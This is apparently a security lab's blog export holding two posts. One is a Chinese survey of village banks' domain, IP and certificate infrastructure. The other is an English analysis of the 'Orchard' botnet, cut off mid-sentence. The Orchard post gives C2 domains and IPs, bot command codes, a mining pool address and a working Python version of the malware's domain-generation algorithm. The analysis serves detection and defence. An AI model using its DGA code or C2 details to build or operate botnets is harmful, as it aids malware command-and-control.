这次爆雷的六家村镇银行就属于这种模式。比如【禹州新民生村镇银行】的域名yxmsyh.com 备案的主办单位名称就是禹州新民生村镇银行股份有限公司,备案的网站名称是禹州新民生村镇银行。其官方主页和网银入口分别是其子域名 www.wfvbank.com 和 ebank.yxmsyh.com。另外五家的模式也类似。
在这种模式下有些村镇银行除了使用自己备案的域名之外,在其主页中网银入口域名则直接使用了技术服务商备案的域名。
比如【铁岭新星村镇银行】的官网主页是 www.tlvb.com.cn 。从其官网页面可以看出(下图),网银入口则是tlxxebank.cibfintech.com,
查验域名cibfintech.com发现是兴业数字金融服务(上海)股份有限公司,子域名 tlxxebank 是“铁岭新星”的拼音首字母缩写 + ebank。 通过DNSMon的子域名查询,我们可以发现近百家村镇银行同样在使用兴业数金的服务。比如【乐都三江村镇银行】【松桃长征村镇银行】【东丰吉银村镇银行】等。
域名注册时间分布
一般来说,从银行对外开展业务起,其域名应该已经注册并生效了。所以我们从村镇银行域名的注册时间,我们整理了村镇银行的兴起趋势(此处仅供参考,详细数据参见应保监会的数据)。
* 从注册时间上来看,从2007年开始村镇银行的域名注册持续上涨,至2015年-2017年前后势头最猛,之后呈递减趋势。
* 另外注意到一个高峰,2021年6月份同时有30+的村镇银行注册域名,其大部分是蒙商银行旗下的村镇银行在同一时间点注册导致的。
网络基础设施情况
村镇银行的子域名概况
根据经验,一个域名的子域名分别代表其不同的业务。从上面的介绍中,我们知道www时期web主页,ebank则是其网上银行的业务。对收集到的村镇银行域名的子域名进行了统计之后发现确实如此:www和ebank占居了头部的两位。接下来的基本都是其银行业务的DNS服务器相关的域名了。
不同子域名的解析结果
聚合性
如在开头所说,我们发现,村镇银行的域名解析的IP地址非常聚集。很多地理位置跨度极广的村镇银行却在使用同一个IP。这种现象也佐证了:村镇银行规模偏小,不具备独立开发网银系统的能力,一般由母行包揽或外包给第三方企业。我们观察到的为村镇银行提供服务的TOP10的IP地址如下:
运营商
此外,我们对监控到的3558个村镇银行IP的运营商进行统计。发现大多数的IP地址位于三大运营商。除此之外上海锐速网络科技有限公司,阿里云等云服务商也在前列。
同IP上的其他域名
在我们监控到的这3558个村镇银行IP上,除了看到村镇银行和其母行的域名解析到此IP外,还看到了一些其他公司的域名。经过分析之后发现,这些公司基本上都是村镇银行网银系统的第三方技术服务商,或者是跟金融,保险相关的业务。业务在使用IP基础设施方面有很好的聚集性。具体分析如下:
* 村镇银行的第三方技术服务商主要集中在:兴业数字金融服务(上海)股份有限公司,深圳手付通科技有限公司(也有可能是央行下的中国金融电子化集团有限公司),北京华夏家润信息科技有限公司和山东省城市商业银行合作联盟有限公司。
* 此次爆雷的村镇银行案件中关联到的君正智达公司[4]位列第13,14位。
对君正智达的分析
通过整理发现,与君正智达公司同IP的村镇银行,正好是此次爆雷的六家村镇银行。(相关新闻:多家媒体调查报道显示,涉及本轮村镇银行存款暴雷的村镇银行或许不止4家,而可能至少包括河南省4家村镇银行,和安徽省2家村镇银行。除了河南禹州新民生村镇银行、上蔡惠民村镇银行、柘城黄淮村镇银行和开封新东方村镇银行外,还有安徽固镇新淮河村镇银行、安徽歙县新淮河村镇银行。总涉及到的存款可能超过397亿)
关联到的IP为47.112.95.228,2408:4003:1f20::df。下图为解析到这两个IP上的所有子域名及对应的单位,首次解析时间。梳理后发现:
* 47.112.95.228,2408:4003:1f20::df为君正智达的IP,IP上的子域名对应着村镇银行的相关业务,君正智达作为这六家村镇银行技术服务商做网银相关的开发和运营。
* 从时间上来看,从2020年5月到2022年1月,这六家村镇银行先后转移到了君正智达公司的IP上。
* 这六家村镇银行的子域名前缀分别是ebank,i,wxbank,app,直接访问对应的都是用户网银登陆和网银app下载的界面,现在基本都无法访问或登录。
* ebank子域名对应的是用户网银登录入口,其中除了开封新东方村镇银行之外的其他5家村镇银行均切换到君正智达公司对应的IP地址上。
域名解析的IP地址列表
禹州新民生村镇银行网银已无法登录
村镇银行域名的证书情况
由于金融领域等网站拥有大量客户的敏感信息,且每天都有大量资金交易需要进行,特别是需要用户登录的网站(ebank子域名),需要可信赖的TLS证书来保障交易的安全。
从村镇银行相关的3939个子域名中抽取包含前缀ebank的所有子域名,关联证书库,统计如下,
* ebank子域名中,97%的子域名都是有证书的,没有关联到证书的ebank子域名,经确认对应的村镇银行已经将网银登录网址切换到其第三方技术支持单位的有合法证书的子域名上。
* 从使用的证书等级来看,78%的ebank子域名用的是OV等级的证书,15%的ebank子域名用的是EV等级的证书,整体的证书安全状况较好。
结论
从我们的基础网络数据来看,可以有如下几个结论:
(1)由于村镇银行规模小,往往不具备网银系统建设的能力,多数是由实力强的母行负责或者外包给第三方公司运营。
(2)我们看到的与村镇银行合作较多的技术服务商主要有:兴业数字金融服务(上海)股份有限公司,深圳手付通科技有限公司(也有可能是央行旗下的中国金融电子化集团有限公司),北京华夏家润信息科技有限公司和山东省城市商业银行合作联盟有限公司。
(3)技术服务商君正智达公司与此次爆雷的六家村镇银行紧密相关。君正智达关联的村镇银行也只有这六家,不过值得一题的是开封新东方村镇银行的电子银行业务并未使用君正智达的系统。
(4)从域名注册时间上来看,村镇银行的域名注册数量在2015年-2017年前后势头最猛。
(5)从IP运营商角度来看,村镇银行所使用的IP数量排名,靠前的除了三大运营商外,上海锐速网络科技有限公司,阿里云等云服务商也在前列。
(6)从证书的使用角度来看,村镇银行的网银登陆都有合法的TLS证书,安全合规。
参考资料
1. http://www.pbc.gov.cn/jinrongwendingju/146766/146772/4332768/2021111616012855737.pdf
2. http://www.gov.cn/zhengce/2016-05/24/content_5076294.htm
3. https://www.bocfullertonbank.com/gywh/gsjs/
4. https://m.thepaper.cn/baijiahao_18977196
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 缘起\n前段时间河南村镇银行储户的时间引起了较大的关注。我们在收集整理相关资产的数据的时候,曾经注意到国内很多的村镇银行在共用IT基础设施,当时只是觉得奇怪,为什么会是这种业务形态。\n这次村镇银行爆雷事件发生之后,我们看了一下发生爆雷的六家村镇银行,发现其使用的**IT基础设施确实是同一个供应商,即君正智达科技发展有限公司,并且这个供应商也只服务于这六家村镇银行**。\n\n为了能够更好的看清国内村镇银行在IT基础设置方面的情况,本文利用我们收集的基础数据,分别从其域名注册,IP使用,备案情况以及证书使用情况这几个角度来评估,希望能够刻画清楚村镇银行在IT基础设施领域的使用情况。\n\n\n## 国内村镇银行的基本概况\n### 数量,域名注册时间分布,地域分布\n\n根据根据央行2021的《中国金融稳定报告》[1],截止2021年国内有1631家村镇银行。\n我们从DNSMon系统中,利用DNS数据,SSL证书数据以及ICP备案数据,共整理出村镇银行域名675个,子域名有3939个,IP有3558个。\n- 从ICP备案的所有历史数据中整理出村镇银行相关的域名有897个,去掉已经失效的,目前还有675个备案有效。\n- 单位资产库中整理出3558个村镇银行相关的IP,以此位出发点关联近半年PDNS数据,整理出相关子域名3939个。\n\n#### IT基础设施使用模式\n我们的基础数据覆盖面比较广泛,从以往结合的实际案例分析中,我们的数据基本能搞和实际的实体对应上。不过这次看到的村镇银行的域名个数远少于央行公布的实际数据。经过分析我们发现主要是因为很多村镇银行备案主体是一个,通过其子域名或者直接使用IP地址来开展其业务。\n\n从上面这个现象出发,并结合银监会对镇村银行管理的规定(设立村镇银行必须有一家银行业金融机构发起并控股(俗称母行))[2],我们进一步分析了村镇银行IT基础设置尤其是后台运营的两大模式:\n- 模式一:由母行或母行分公司运营村镇银行网银系统\n像母行实力强的公司,一般会直接包揽下面所有村镇银行的网银系统开发和运维。所以同一母行下的村镇银行主页往往都是统一风格,有些村镇银行网站甚至是相同域名的不同子域名。\n一个典型的例子是【中银富登村镇银行(www.bocfullertonbank.com)】由中国银行发起,遍布全国22个省市的126家村镇银行法人[3]。其域名在工信部的ICP备案的单位主体均为中国银行股份有限公司,备案的网站名称是中银富登村镇银行。如下图所示:\n<img src = \"/content/images/2022/07/boc_list.png\" width=860px />\n类似这种运营模式的还有【沪农商村镇银行】【浦发村镇银行】等银行,这种模式应该说是目前村镇银行IT基础设施里面非常普遍的一种模式。\n\n- 模式二:将网银系统外包给第三方技术服务公司\n很多村镇银行发起行(即母行)本身也是中小规模,并且有些母行对村镇银行的掌控力也不强,这些村镇银行一般会将网银系统外包给第三方技术服务公司或者多个母行组织形成的合作联盟(比如山东省城市商业应银行合作联盟)。\n\n 这次爆雷的六家村镇银行就属于这种模式。比如【禹州新民生村镇银行】的域名yxmsyh.com 备案的主办单位名称就是禹州新民生村镇银行股份有限公司,备案的网站名称是禹州新民生村镇银行。其官方主页和网银入口分别是其子域名 www.wfvbank.com 和 ebank.yxmsyh.com。另外五家的模式也类似。\n在这种模式下有些村镇银行除了使用自己备案的域名之外,在其主页中网银入口域名则直接使用了技术服务商备案的域名。\n\n 比如【铁岭新星村镇银行】的官网主页是 www.tlvb.com.cn 。从其官网页面可以看出(下图),网银入口则是tlxxebank.cibfintech.com,\n <img src = \"/content/images/2022/07/tlvb.jpg\" width=860px >\n 查验域名cibfintech.com发现是兴业数字金融服务(上海)股份有限公司,子域名 tlxxebank 是“铁岭新星”的拼音首字母缩写 + ebank。 通过DNSMon的子域名查询,我们可以发现近百家村镇银行同样在使用兴业数金的服务。比如【乐都三江村镇银行】【松桃长征村镇银行】【东丰吉银村镇银行】等。\n\n#### 域名注册时间分布\n\n一般来说,从银行对外开展业务起,其域名应该已经注册并生效了。所以我们从村镇银行域名的注册时间,我们整理了村镇银行的兴起趋势(此处仅供参考,详细数据参见应保监会的数据)。\n- 从注册时间上来看,从2007年开始村镇银行的域名注册持续上涨,至2015年-2017年前后势头最猛,之后呈递减趋势。\n- 另外注意到一个高峰,2021年6月份同时有30+的村镇银行注册域名,其大部分是**蒙商银行**旗下的村镇银行在同一时间点注册导致的。\n\n<img src = \"/content/images/2022/07/--------2.png\" width=860px />\n<img src = \"/content/images/2022/07/--------2-1.png\" width=860px />\n\n\n## 网络基础设施情况\n### 村镇银行的子域名概况\n\n根据经验,一个域名的子域名分别代表其不同的业务。从上面的介绍中,我们知道www时期web主页,ebank则是其网上银行的业务。对收集到的村镇银行域名的子域名进行了统计之后发现确实如此:www和ebank占居了头部的两位。接下来的基本都是其银行业务的DNS服务器相关的域名了。\n\n<img src = \"/content/images/2022/07/-----.png\" width=860px />\n\n### 不同子域名的解析结果\n#### 聚合性\n如在开头所说,我们发现,村镇银行的域名解析的IP地址非常聚集。很多地理位置跨度极广的村镇银行却在使用同一个IP。这种现象也佐证了:村镇银行规模偏小,不具备独立开发网银系统的能力,一般由母行包揽或外包给第三方企业。我们观察到的为村镇银行提供服务的TOP10的IP地址如下:\n\n<img src = \"/content/images/2022/07/----IP_top.png\" width=860px />\n\n#### 运营商\n此外,我们对监控到的3558个村镇银行IP的运营商进行统计。发现大多数的IP地址位于三大运营商。除此之外上海锐速网络科技有限公司,阿里云等云服务商也在前列。\n\n<img src = \"/content/images/2022/07/IP---2.png\" width=860px />\n\n#### 同IP上的其他域名\n在我们监控到的这3558个村镇银行IP上,除了看到村镇银行和其母行的域名解析到此IP外,还看到了一些其他公司的域名。经过分析之后发现,这些公司基本上都是村镇银行网银系统的第三方技术服务商,或者是跟金融,保险相关的业务。业务在使用IP基础设施方面有很好的聚集性。具体分析如下:\n- 村镇银行的第三方技术服务商主要集中在:兴业数字金融服务(上海)股份有限公司,深圳手付通科技有限公司(也有可能是央行下的中国金融电子化集团有限公司),北京华夏家润信息科技有限公司和山东省城市商业银行合作联盟有限公司。\n- 此次爆雷的村镇银行案件中关联到的君正智达公司[4]位列第13,14位。\n<img src = \"/content/images/2022/07/--------2-.png\" width=860px />\n\n#### 对君正智达的分析\n\n通过整理发现,与君正智达公司同IP的村镇银行,正好是此次爆雷的六家村镇银行。(相关新闻:多家媒体调查报道显示,涉及本轮村镇银行存款暴雷的村镇银行或许不止4家,而可能至少包括河南省4家村镇银行,和安徽省2家村镇银行。除了河南禹州新民生村镇银行、上蔡惠民村镇银行、柘城黄淮村镇银行和开封新东方村镇银行外,还有安徽固镇新淮河村镇银行、安徽歙县新淮河村镇银行。总涉及到的存款可能超过397亿)\n关联到的IP为47.112.95.228,2408:4003:1f20::df。下图为解析到这两个IP上的所有子域名及对应的单位,首次解析时间。梳理后发现:\n\n- 47.112.95.228,2408:4003:1f20::df为君正智达的IP,IP上的子域名对应着村镇银行的相关业务,君正智达作为这六家村镇银行技术服务商做网银相关的开发和运营。\n- 从时间上来看,从2020年5月到2022年1月,这六家村镇银行先后转移到了君正智达公司的IP上。\n- 这六家村镇银行的子域名前缀分别是ebank,i,wxbank,app,直接访问对应的都是用户网银登陆和网银app下载的界面,现在基本都无法访问或登录。\n- ebank子域名对应的是用户网银登录入口,其中除了开封新东方村镇银行之外的其他5家村镇银行均切换到君正智达公司对应的IP地址上。\n域名解析的IP地址列表\n<img src = \"/content/images/2022/07/----2-1.png\" width=860px />\n禹州新民生村镇银行网银已无法登录\n<img src = \"/content/images/2022/07/---------.png\" width=860px />\n\n### 村镇银行域名的证书情况\n\n由于金融领域等网站拥有大量客户的敏感信息,且每天都有大量资金交易需要进行,特别是需要用户登录的网站(ebank子域名),需要可信赖的TLS证书来保障交易的安全。\n从村镇银行相关的3939个子域名中抽取包含前缀ebank的所有子域名,关联证书库,统计如下,\n- ebank子域名中,97%的子域名都是有证书的,没有关联到证书的ebank子域名,经确认对应的村镇银行已经将网银登录网址切换到其第三方技术支持单位的有合法证书的子域名上。\n- 从使用的证书等级来看,78%的ebank子域名用的是OV等级的证书,15%的ebank子域名用的是EV等级的证书,整体的证书安全状况较好。\n<img src = \"/content/images/2022/07/ebank---2.png\" width=860px />\n\n\n## 结论\n从我们的基础网络数据来看,可以有如下几个结论:\n(1)由于村镇银行规模小,往往不具备网银系统建设的能力,多数是由实力强的母行负责或者外包给第三方公司运营。\n(2)我们看到的与村镇银行合作较多的技术服务商主要有:兴业数字金融服务(上海)股份有限公司,深圳手付通科技有限公司(也有可能是央行旗下的中国金融电子化集团有限公司),北京华夏家润信息科技有限公司和山东省城市商业银行合作联盟有限公司。\n(3)技术服务商君正智达公司与此次爆雷的六家村镇银行紧密相关。君正智达关联的村镇银行也只有这六家,不过值得一题的是开封新东方村镇银行的电子银行业务并未使用君正智达的系统。\n(4)从域名注册时间上来看,村镇银行的域名注册数量在2015年-2017年前后势头最猛。\n(5)从IP运营商角度来看,村镇银行所使用的IP数量排名,靠前的除了三大运营商外,上海锐速网络科技有限公司,阿里云等云服务商也在前列。\n(6)从证书的使用角度来看,村镇银行的网银登陆都有合法的TLS证书,安全合规。\n\n## 参考资料\n1. http://www.pbc.gov.cn/jinrongwendingju/146766/146772/4332768/2021111616012855737.pdf\n2. http://www.gov.cn/zhengce/2016-05/24/content_5076294.htm\n3. https://www.bocfullertonbank.com/gywh/gsjs/\n4. https://m.thepaper.cn/baijiahao_18977196"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 62cccc206b0b9e0008c8983f |
post | null | 2022-08-05T02:08:32.000Z | 63873b9a8b1c1e0007f5301e | a-new-botnet-orchard-generates-dga-domains-with-bitcoin-transaction-information | 0 | 2022-08-05T14:28:49.000Z | public | published | null | 2022-08-05T14:00:00.000Z | A new botnet Orchard Generates DGA Domains with Bitcoin Transaction Information | <p>DGA is one of the classic techniques for botnets to hide their C2s, attacker only needs to selectively register a very small number of C2 domains, while for the defenders, it is difficult to determine in advance which domain names will be generated and registered.</p><p>360 netlab has long focused on the research of botnet attack and defense technology, we maintain a free <a href="https://data.netlab.360.com/dga/">DGA feed</a> and share the research results with the industry. </p><p>Recently we discovered a new botnet that uses Satoshi Nakamoto's Bitcoin account transaction information to generate DGA domain name. Because of the uncertainty of Bitcoin transactions, this technique is more unpredictable than using the common time-generated DGAs, and thus more difficult to defend against.</p><p>The technique was discovered in a family of botnets we called Orchard. Since February 2021, this botnet has gone through 3 versions, and even switched programming languages in between.</p><!--kg-card-begin: markdown--><p>Key points are as follow:</p>
<ul>
<li>Orchard is a botnet family that uses DGA technology with the core function of installing various malware on the victim's machine.</li>
<li>From February 2021 to the present, we have detected 3 versions of Orchard samples, all using the DGA technique.</li>
<li>Orchard's DGA algorithm has remained unchanged, but the use of dates has been changing, and the latest version also supports the use of bitcoin account information to generate separate DGA domains.</li>
<li>In addition to DGA, Orchard also hardcodes C2 domains.</li>
<li>Orchard is still active and dedicated to Monroe coin mining.</li>
</ul>
<!--kg-card-end: markdown--><h1 id="overview">Overview</h1><p>Orchard uses a redundant C2 mechanism of "hardcoded domain + DGA", and each version hardcodes a unique DuckDNS dynamic domain name as C2.</p><pre><code>v1, orcharddns.duckdns.org
v2,orchardmaster.duckdns.org
v3, ojena.duckdns.org
</code></pre><p>A timeline is as follow</p><pre><code>* 2021.3, v1, use C++. Combined with historical data, we found that the earliest appearance in January 2021
* 2021.9, v2, use Golang and C++
* 2022.7, v3, use C++
</code></pre><p>All three versions support propagation by infecting USB disks, much like traditional viruses, as described in the later section of "USB Infection Logic". Theoretically, Orchard can be spread in other ways as well.</p><p>Using our graph system in combination with PDNS and other dimensional data, we found that there is a clear case of shared IPs between the C2 of v1 and v2, as shown in the figure below.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/08/-------.png" class="kg-image" alt loading="lazy"></figure><p>The graph system helped us find more C2 IPs and domains, and the domains here are characterized by all ending in duckdns.org. v3 is relatively new and has fewer associated domains, and here is the active situation of v3 domains.</p><figure class="kg-card kg-image-card"><img src="https://blog.netlab.360.com:8443/content/images/2022/08/v3----.png" class="kg-image" alt="v3----" loading="lazy"></figure><p>We can see that it was launched in May this year, and then gradually became active, and it should still be in the active period.</p><p>Based on our PDNS data, we evaluated the infection scale of the three versions, among which v1 and v2 have thousands of nodes, and v3 has less because of its late appearance, and the following is the detailed resolution number of each version of domain name to specific IP(note the numbers do not reflect all the bots as as our PDNS visibility focus mainly in China)</p><pre><code># v1, orcharddns.duckdns.org
37, 45.61.185.36
413, 45.61.186.52
1301, 45.61.187.240
207, 205.185.124.143
# v2, orchardmaster.duckdns.org
45, 45.61.185.36
104, 45.61.186.52
659, 45.61.187.240
# v3, ojena.duckdns.org
418, 45.61.185.231
</code></pre><h1 id="sample-analysis">Sample Analysis</h1><p>Loader is used for counter analysis and self-protection. Currently Orchard loader is not fixed, even a single version can have a variety of loaders, for example, v1 version of Orchard is base64 encoded in the loader, v2/v3 version of the sample in the form of resource files stored in the loader in some cases. Each version has also used virtualization packers such as VMP, Enigma, etc. to protect itself. In general, Orchard's workflow can be summarized in the following diagram.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/08/------.png" class="kg-image" alt loading="lazy"></figure><p>The functions of all three versions of Orchard are basically the same and include:</p><!--kg-card-begin: markdown--><ul>
<li>Uploading device and user information</li>
<li>Responding to commands/downloading to execute the next stage of the module</li>
<li>Infecting USB storage devices</li>
</ul>
<!--kg-card-end: markdown--><p>The core functions of each of the 3 versions of Orchard are analyzed below in several dimensions, such as DGA algorithm, C2 communication and host behavior.</p><h2 id="v1-version">v1 version</h2><p>The analysis of this version is based on the sample with MD5=5c883ff8539b8d04be017a51a84e3af8. It first releases the embedded PE file to the self-boot directory at runtime, and the released PE is base64 decoded in memory to get the orchard data, and then the PE uses any exe under System32/SysWOW64 as a puppet process to run the saved orchard code. The overall logic of this version of Orchard is as follows, mainly divided into two parts: network communication and USB infection, the final function depends on the specific module issued by C2, so orchard itself can be considered as a Downloader.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/08/v1-----2.png" class="kg-image" alt loading="lazy"></figure><p>Here we mainly describe its network communication process (the logic of USB infection is the same for all three versions, see the section on USB infection for details).</p><p>C2 communication process is relatively simple, the bot in the check-in process will contact C2 to send the collected host information, and then wait for C2 response. The response data format is generally "command + data", the function of the command is specified by the command code.</p><p>The information collected by v1 version includes: volume serial number (HWID), computer name, user name, operating system name, system version, installed capture driver name, antivirus information, parent process file modification time, top window name and window title, etc. These information are separated by "[o.r.c.h.a.r.d]". " as a separator and then sent as shown in the following figure.</p><figure class="kg-card kg-image-card"><img src="https://blog.netlab.360.com:8443/content/images/2022/08/v1.C-------4.png" class="kg-image" alt="v1.C-------4" loading="lazy"></figure><p>The example of C2 response data is as follows, where "[&&]" stands for instruction code 2, which represents downloading and execution, and the specific processing is divided into 2 types: if the response data is a URL, the PE corresponding to the URL is downloaded and executed; if it is a base64 encoded content, the decoded data is decoded first and then executed. The response data here is actually the new version of base64-encoded PE file, which is equivalent to upgrade, which also indicates that the old version may have been deprecated.</p><figure class="kg-card kg-image-card"><img src="https://blog.netlab.360.com:8443/content/images/2022/08/v1.C-------5.png" class="kg-image" alt="v1.C-------5" loading="lazy"></figure><p>The v1 version defines a total of 8 instructions, and the correspondence between the instruction code and the instruction string is as follows.</p><pre><code>1 \[=]
2 \[&&]
3 \[##]
4 \[###]
5 \[%%]
6 \[%%%]
7 \[#\_#]
8 \[\_\_\] \[>>] \[<<] \[^^] \[\*\] \[\~\] \[@] \[!] \[#\*\#\] \[#@#]
</code></pre><p>Due to the nulling of some instructions, the eight instructions actually correspond to three operations (subsequent versions are similar).</p><!--kg-card-begin: markdown--><ul>
<li>Instruction code 1 and 2: determine whether the response data is URL or PE, if it is URL, then download and execute, if it is PE, then create a process to execute (CreateProcess to create a process, puppet process, remote thread injection, etc.).</li>
<li>Instruction code 3, 4, 8: terminate the current process to delete the original file, or restart.</li>
<li>Instruction code 7: collect C2, port, PID, file name information again to send to C2, example: orcharddns.duckdns.org[o.r.c.h.a.r.d]5890[o.r.c.h.a.r.d]2260[o.r.c.h.a.r.d]stage-3_.exe[o.r.c .h.a.r.d]</li>
</ul>
<!--kg-card-end: markdown--><h3 id="dga-algorithm">DGA Algorithm</h3><p>v1's DGA takes the date string (e.g. "2022/07/05") as input, calculates its MD5 value, then divides the MD5 string into four 8-byte substrings, and splices them with the 4 suffixes of .com, .net, .org, .duckdns.org in turn to get the daily 4 groups of 16 DGA domain names, the algorithm is implemented as follows.</p><pre><code># 2021/04/15
import datetime
import hashlib
days=30
for i in range(0, days):
datex = (datetime.datetime.now() - datetime.timedelta(days=i)).strftime('%Y/%m/%d')
print("seed: ", datex)
md5 = hashlib.md5(datex.encode()).hexdigest()
print('md5: ', md5)
dga_list = []
dga_list.append(md5[:8])
dga_list.append(md5[8:16])
dga_list.append(md5[16:24])
dga_list.append(md5[24:32])
for j in range(len(dga_list)):
print(dga_list[j] + '.com')
print(dga_list[j] + '.net')
print(dga_list[j] + '.org')
print(dga_list[j] + '.duckdns.org')
</code></pre><p>Sample domains are as follow:</p><pre><code>seed: 2022/07/05
md5: 91ac64d29f78281ad802f44648b2137f
91ac64d2.com
91ac64d2.net
91ac64d2.org
91ac64d2.duckdns.org
9f78281a.com
9f78281a.net
9f78281a.org
9f78281a.duckdns.org
d802f446.com
d802f446.net
d802f446.org
d802f446.duckdns.org
48b2137f.com
48b2137f.net
48b2137f.org
48b2137f.duckdns.org
</code></pre><h2 id="v2-version">v2 version</h2><p>The v2 version appears as a sample of two programming language implementations, Golang and C++, but with the same functionality. The analysis here takes the Golang sample with MD5=f3e0b960a48b433bc4bfe6ac44183b74 as an example, and its C2 initialization function is shown below, which can obviously see the hard-coded C2 domain names.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/09/3.png" class="kg-image" alt loading="lazy"></figure><p>The v2 version of C2 communication starts to use json format, and the meaning of the fields is relatively clear. It collects roughly the same information as v1, including: volume serial number (HWID), computer name, user name, system version, antivirus information, active window information, etc. The new fields are: .net framework version (e.g. v2.0.50727), USB status, outgoing package type and its own version. The following is an actual observed version number information, Bot_Version=1.2/G may be interpreted as: version=v1.2, writing language=Golang.</p><figure class="kg-card kg-image-card"><img src="https://blog.netlab.360.com:8443/content/images/2022/08/v2.golang-----1.png" class="kg-image" alt="v2.golang-----1" loading="lazy"></figure><p>The v2 version of the C++ language sample integrates the same C2, and the version information in the live package becomes "Bot_version:1/C", which collects the information shown in the figure below.</p><figure class="kg-card kg-image-card"><img src="https://blog.netlab.360.com:8443/content/images/2022/08/v2.C-------1.png" class="kg-image" alt="v2.C-------1" loading="lazy"></figure><p>According to the code similarity analysis, the v2 C++ language sample is homologous with the later v3 C++ sample, which means that the latter is evolved from the former.</p><p>The v2 version has a total of two kinds of instructions.</p><!--kg-card-begin: markdown--><ul>
<li>Instruction 1: terminate the current process to delete the original file, or restart it.</li>
<li>Instruction 2: Determine whether the response data is URL or PE, if it is URL, then download and execute, if it is PE, then create process and execute (CreateProcess create process, puppet process, remote thread injection, etc.).</li>
</ul>
<h4 id="dgaalgorithm">DGA Algorithm</h4>
<p>v2 version of DGA algorithm is the same as v1, the difference lies in the processing of the date string. v2 will splice the hard-coded domain name "orchardmaster.duckdns.org" after the date string, such as "2022/07/ 05orchardmaster.duckdns.org", and then apply the DGA algorithm of v1 to generate the domain name.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="v3version">v3 version</h3>
<p>The development language of v3 is back to C++, which also includes C2 communication and USB infection functions. C2 communication logic runs in a thread, which also includes a secondary thread tied to XMRig mining, and when Orchard has received the XMrig program and created a puppet process to run, the secondary thread will send mining-related hardware information to C2 again. The purpose of trying to read the configuration of the mining software from C2 is to check if the XMRig runtime configuration needs to be dynamically modified (XMRig provides a set of HTTP api that supports dynamically reading and modifying the runtime mining configuration).<br>
Taking the sample with MD5=cb442cbff066dfef2e3ff0c56610148f as an example, the C2 communication function is as follows.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://blog.netlab.360.com:8443/content/images/2022/07/v3-1.png" class="kg-image" alt="v3-1" loading="lazy"></figure><p>The v3 version also uses json format to save host information in C2 communication, and the overall structure of the sent data is Byte_0x46+TotalLen+InfoLen+Info.json. Compared to v2, v3 adds several fields related to mining, and the collected information includes:</p><!--kg-card-begin: markdown--><ul>
<li>Active_Window: the name of the currently active window</li>
<li>Antivirus: antivirus information</li>
<li>Authentiate_Type: Windows authentication type</li>
<li>CPU_Model: CPU information</li>
<li>Camera: whether a camera is present</li>
<li>Elevated: whether it is administrator privileges</li>
<li>GPU_Models: graphics card information</li>
<li>Identity:HWID\username\computer name</li>
<li>Operating_System: System version information</li>
<li>Ram_Size:Running memory size</li>
<li>System_Architecture:Number of processors</li>
<li>Threads:Number of cores per processor</li>
<li>Version:Orchard version</li>
</ul>
<!--kg-card-end: markdown--><p>An example of a live package for v3 is shown below.</p><figure class="kg-card kg-image-card"><img src="https://blog.netlab.360.com:8443/content/images/2022/08/v3.c-------1-1.png" class="kg-image" alt="v3.c-------1-1" loading="lazy"></figure><!--kg-card-begin: markdown--><p>The body part of C2 response message is also in json format, and its structure is:<br>
<code>TotalLen.dword+ Byte0x46+TotalLen+RespDataLen+RespData.json</code>.<br>
v3 supports 8 instructions, corresponding to 3 operations.</p>
<ul>
<li>Instruction 1: Collect host information/its own running status and send it to C2 (fields include Domain, In_Memory, Install_Path, Is_Patched, Message_Type, Patch_Name, Port, Power_SaverMode, Process_ID. (Process_Name, Process_Path, System_Idle, System_Uptime)</li>
<li>Instruction 4, 6: terminate the current process to delete the original file, or restart.</li>
<li>Instruction 7, 8: download & execute the miner program sent down</li>
</ul>
<p>The following is an actual trace of the C2 response instruction.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://blog.netlab.360.com:8443/content/images/2022/08/v33-3.png" class="kg-image" alt="v33-3" loading="lazy"></figure><p>Where Transfer_Port indicates that the host is expected to make another request to 2929, and Message_Type indicates the instruction code, whose value is 7, indicating download & execute.</p><p>After receiving the above instruction, bot makes another request to C2's TCP port 2929. Cuda is a parallel computing framework introduced by Nvidia that can only be used for its own GPU, and a Cuda_Version of 0 here means that Cuda is not supported.</p><figure class="kg-card kg-image-card"><img src="https://blog.netlab.360.com:8443/content/images/2022/08/v31-5.png" class="kg-image" alt="v31-5" loading="lazy"></figure><p>C2 then responds with an XMRig miner program, which Client receives and saves and then injects XMRig into the puppet process according to instruction 7 to start performing mining work.</p><figure class="kg-card kg-image-card"><img src="https://blog.netlab.360.com:8443/content/images/2022/08/v34-1-1.png" class="kg-image" alt="v34-1-1" loading="lazy"></figure><p>During the analysis we found that the v3 version has recently been continuously distributing an identical XMRig mining program, the latter integrated with the default mining configuration information, private mining pool address: 45.61.187.7:7733</p><!--kg-card-begin: markdown--><h4 id="dgaalgorithm">DGA Algorithm</h4>
<p>The DGA algorithm of v3 is unchanged, but the input is more variable. It actually generates two sets of DGA domains, the first set of domains is entered with a spelling algorithm of date string + "ojena.duckdns.org", shaped like "2022-08-02ojena.duckdns.org ". The second set of domain names is entered as the return result of the URL <code>https://blockchain.info/balance?active=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa</code>. A typical return result is shown below.</p>
<pre><code>{"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa":"final_balance":6854884253,"n_tx":3393,"total_received":6854884253}}
</code></pre>
<!--kg-card-end: markdown--><p>The meaning of the relevant fields can be found in <a href="https://zh.m.wikipedia.org/zh-hans/Blockchain.com">Blockchain</a>'s <a href="http://cw.hubwiz.com/card/c/blockchain-api/1/3/9/">API manual</a></p><p>It is worth emphasizing that the v3 version does not parse the returned results, but directly feed it into the DGA algorithm as a whole to generate the domain name. Instead, the wallet address 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa is said to be the Bitcoin Genesis address held by Satoshi Nakamoto himself. Over the past decade or so, small amounts of bitcoin have been transferred to this wallet on a daily basis for various reasons, so it is variable and that change is difficult to predict, so the balance information for this wallet can also be used as DGA input.</p><p>At the time of writing, we found that other researchers had recently noticed this use of bitcoin account transaction information as DGA input for v3. The results of their analysis agreed with ours, but they did not notice that Orchard had actually been around for a long time.</p><p>The complete 